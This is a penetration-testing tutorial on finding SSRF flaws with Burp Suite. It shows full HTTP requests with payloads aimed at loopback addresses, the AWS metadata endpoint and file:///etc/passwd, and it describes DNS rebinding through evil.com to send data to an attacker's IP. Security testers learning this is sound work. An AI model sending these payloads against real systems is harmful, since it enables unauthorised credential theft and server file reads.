Burp Suite can be a surprisingly blunt instrument for finding SSRF vulnerabilities, often revealing them through simple, almost accidental, interactions.
Let’s see it in action. Imagine you’re testing a web application that allows users to submit URLs for processing, perhaps to fetch metadata or render a preview. This is a prime candidate for SSRF.
Here’s a common scenario: an application takes a URL as a parameter, say ?url=http://example.com/image.jpg. We’ll use Burp Suite’s proxy to intercept this request.
GET /process-url?url=http://example.com/image.jpg HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Referer: http://vulnerable-app.com/
Now, we send this request to Burp’s Repeater. This is where the magic (or the vulnerability) is found. We’re going to modify the url parameter.
The first, and often most effective, test is to point the URL to an internal IP address. This is where you’re likely to find the SSRF.
Test 1: Internal IP Address
Change the url parameter to ?url=http://127.0.0.1/.
GET /process-url?url=http://127.0.0.1/ HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Referer: http://vulnerable-app.com/
Send this request. If the application fetches content from 127.0.0.1 and returns it, or even just a different error message than a typical external URL, you’ve likely found an SSRF. The application is making a request on our behalf to an internal resource, bypassing network controls.
Test 2: Cloud Metadata Endpoints
If the application is hosted on a cloud provider (AWS, GCP, Azure), these metadata endpoints are goldmines. For AWS, try ?url=http://169.254.169.254/latest/meta-data/.
GET /process-url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Referer: http://vulnerable-app.com/
If the application responds with instance metadata (like IAM roles, security credentials, or instance IDs), this is a critical SSRF. The application is acting as a proxy to sensitive cloud information.
Test 3: Loopback Interfaces (Other Than 127.0.0.1)
Sometimes, 127.0.0.1 might be blocked or filtered. Test other loopback addresses like 127.0.0.0, 127.255.255.255, or even 0.0.0.0.
GET /process-url?url=http://127.0.0.0/ HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Referer: http://vulnerable-app.com/
These can sometimes be interpreted differently by network stacks and might bypass simple IP allowlists.
Test 4: DNS Rebinding
This is more advanced but powerful. You set up your own DNS server that initially resolves a hostname to a private IP (e.g., 127.0.0.1) and then, after a short delay, changes the resolution to a public IP.
You’d configure your DNS server to respond to evil.com with 127.0.0.1. The application fetches http://evil.com. For a brief moment, the application thinks it’s talking to 127.0.0.1. If the application then makes a second request to the same hostname, your DNS server can now resolve evil.com to a public IP you control, and the application might send sensitive data to it.
Test 5: File Protocol (Less Common, But Possible)
If the application is very permissive, it might even allow the file:// protocol.
GET /process-url?url=file:///etc/passwd HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Referer: http://vulnerable-app.com/
This allows reading local files from the server.
Test 6: Using Burp’s Intruder for IP Variations
For a more systematic approach, use Burp’s Intruder. Load your base request in Intruder, set the url parameter as the payload position, and use a payload list of common internal IPs (e.g., 10.0.0.1, 192.168.1.1, 172.16.0.1) and cloud metadata endpoints. You can then analyze the response lengths and content to identify successful fetches.
The core mental model for SSRF is that the application is being tricked into making network requests on your behalf. You provide a URL, and the application’s server initiates a connection to that URL. The vulnerability lies in what addresses the application is allowed to connect to.
One subtle aspect is how different protocols might be handled. While http and https are common, some applications might also attempt to fetch resources using ftp, gopher, or even custom protocols if they’re not strictly validating the scheme. Always consider testing these if the application’s purpose hints at broader network interaction.
The next step after finding an SSRF is usually to explore what internal services are exposed and what data can be exfiltrated.